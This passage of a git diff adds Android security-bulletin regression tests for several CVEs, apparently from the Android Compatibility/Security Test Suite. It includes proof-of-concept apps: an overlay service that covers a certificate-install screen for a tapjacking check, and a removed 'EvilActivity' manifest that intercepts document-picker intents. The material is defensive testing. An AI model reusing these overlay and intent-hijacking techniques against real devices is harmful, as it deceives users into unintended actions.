+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+ public static final int USER_ID = 0;
+ static final String TEST_APP = "CVE-2021-39706.apk";
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39706";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver";
+
+ @After
+ public void tearDown() throws Exception {
+ // Remove Device Admin Component
+ AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/"
+ + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice());
+ }
+
+ @AsbSecurityTest(cveBugId = 200164168)
+ @Test
+ public void testPocCVE_2021_39706() throws Exception {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP, "-t");
+ // Set Device Admin Component
+ AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/"
+ + TEST_DEVICE_ADMIN_RECEIVER + "'", device);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
new file mode 100644
index 0000000..0ae1efa
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase {
+
+ static final String TEST_APP = "CVE-2021-39794-test.apk";
+ static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
+
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39794_test";
+ static final String RECEIVER_PKG = "android.security.cts.CVE_2021_39794_receiver";
+
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ /**
+ * b/205836329
+ */
+ @AsbSecurityTest(cveBugId = 205836329)
+ @Test
+ public void testPocCVE_2021_39794() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ uninstallPackage(device, RECEIVER_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(RECEIVER_APP);
+ AdbUtils.runCommandLine("am start -n " + RECEIVER_PKG + "/.PocActivity", device);
+
+ installPackage(TEST_APP);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_39794"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
new file mode 100644
index 0000000..f90cae0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+ static final int USER_ID = 0;
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ static final String TEST_APP = "CVE-2021-39796.apk";
+ static final String HARMFUL_APP = "CVE-2021-39796-harmful.apk";
+ static final String HARMFUL_PKG = "android.security.cts.CVE_2021_39796_harmful";
+
+ @AsbSecurityTest(cveBugId = 205595291)
+ @Test
+ public void testPocCVE_2021_39796() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(HARMFUL_APP);
+ /* Set the harmful app as harmful */
+ AdbUtils.runCommandLine("pm set-harmful-app-warning " + HARMFUL_PKG + " harmful 0", device);
+
+ installPackage(TEST_APP);
+
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", device);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
new file mode 100644
index 0000000..1c1b246
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39804 extends SecurityTestCase {
+
+ /**
+ * b/215002587
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libheif (As per AOSP code)
+ * Vulnerable Function: reinit (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 215002587)
+ @Test
+ public void testPocCVE_2021_39804() throws Exception {
+ String inputFiles[] = {"cve_2021_39804.heif"};
+ String binaryName = "CVE-2021-39804";
+ String signals[] = {CrashUtils.SIGSEGV};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config =
+ new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+ new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
+ testConfig.config.checkMinAddress(false);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
new file mode 100644
index 0000000..f952082
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 212610736)
+ @Test
+ public void testPocCVE_2021_39810() {
+ try {
+ // clearing default payment app component if already set
+ AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+ getDevice());
+ installPackage("CVE-2021-39810.apk");
+ String defaultComponent = AdbUtils.runCommandLine(
+ "settings get secure nfc_payment_default_component", getDevice());
+ AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+ getDevice());
+ assertFalse("Vulnerable to 212610736! Setting default payment app without user consent",
+ defaultComponent.contains("PocService"));
+ } catch (Exception e) {
+ // assumption failure if a generic exception is thrown by AdbUtils.runCommandLine()
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d..d7a3afc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@
import static org.junit.Assume.*;
import static org.hamcrest.core.Is.is;
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
private static final String LOG_TAG = "SecurityTestCase";
private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@
// account for the poc timer of 5 minutes (+15 seconds for safety)
protected static final int TIMEOUT_NONDETERMINISTIC = 315;
- private long kernelStartTime;
+ private long kernelStartTime = -1;
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
@@ -119,9 +120,13 @@
getDevice().waitForDeviceAvailable(30 * 1000);
}
- long deviceTime = getDeviceUptime() + kernelStartTime;
- long hostTime = System.currentTimeMillis() / 1000;
- assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ if (kernelStartTime != -1) {
+ // only fail when the kernel start time is valid
+ long deviceTime = getDeviceUptime() + kernelStartTime;
+ long hostTime = System.currentTimeMillis() / 1000;
+ assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ kernelStartTime = -1;
+ }
// TODO(badash@): add ability to catch runtime restart
}
@@ -340,7 +345,7 @@
String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
"/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
"/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
- "/dev/st54j*" };
+ "/dev/st54j*", "/dev/st21nfc*" };
boolean isDriverFound = false;
for(String supportedDriver : supportedDrivers) {
if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index b2dc9b8..e44a04a 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -41,6 +41,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
/** Basic sample for unbundled UiAutomator. */
@RunWith(AndroidJUnit4.class)
@@ -111,7 +112,7 @@
mContext.startActivity(intent);
UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
- assertNotNull("Activity under-test was not launched or found!", view);
+ assumeNotNull("Activity under-test was not launched or found!", view);
Log.d(LOG_TAG, "Started Activity under-test.");
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
index bcbf54f..4efed42 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2020-0015",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
new file mode 100644
index 0000000..7685c35
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2020_0015"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2020_0015"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2020_0015" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
new file mode 100644
index 0000000..f0a0779
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
new file mode 100644
index 0000000..93f9df8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="activityNotStartedException">Unable to start the %1$s</string>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="certName">Sample Certificate</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="intentExtraKeyCert">CERT</string>
+ <string name="intentExtraKeyName">name</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with
+ SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="rawResOpenError">Could not open the raw resource %1$s</string>
+ <string name="streamReadError">Could not read from the raw resource cacert</string>
+ <string name="streamReadWriteException">Error while trying to read from InputStream object
+ and writing to a ByteArrayOutputStream object</string>
+ <string name="testPkg">android.security.cts.CVE_2020_0015</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
new file mode 100644
index 0000000..f42eb75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ String testVulnerablePackage = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ }
+ }
+
+ private void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+
+ InputStream inStream = context.getResources().openRawResource(R.raw.cacert);
+ assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null);
+ ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+ byte[] data = new byte[1024];
+ try {
+ int nRead = inStream.read(data, 0, data.length);
+ assumeTrue(context.getString(R.string.streamReadError), nRead > 0);
+ outStream.write(data, 0, nRead);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.streamReadWriteException), e);
+ }
+
+ Intent intent = KeyChain.createInstallIntent();
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getString(R.string.intentExtraKeyName),
+ context.getString(R.string.certName));
+ intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray());
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ testVulnerablePackage = ri.activityInfo.packageName;
+
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Context context = getApplicationContext();
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ final int launchTimeoutMs = 20000;
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ launchTimeoutMs)) {
+ overlayDisallowed = true;
+ }
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage),
+ overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
new file mode 100644
index 0000000..d8563d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
deleted file mode 100644
index eb4890b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- package="android.security.cts.CVE_2021_0481"
- android:targetSandboxVersion="2">
-
- <application>
- <uses-library android:name="android.test.runner"/>
-
- <activity android:name=".EvilActivity" android:exported="true">
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.OPEN_DOCUMENT"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.CREATE_DOCUMENT"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.GET_CONTENT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
- <category android:name="android.intent.category.DEFAULT"/>
- </intent-filter>
- </activity>
-
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
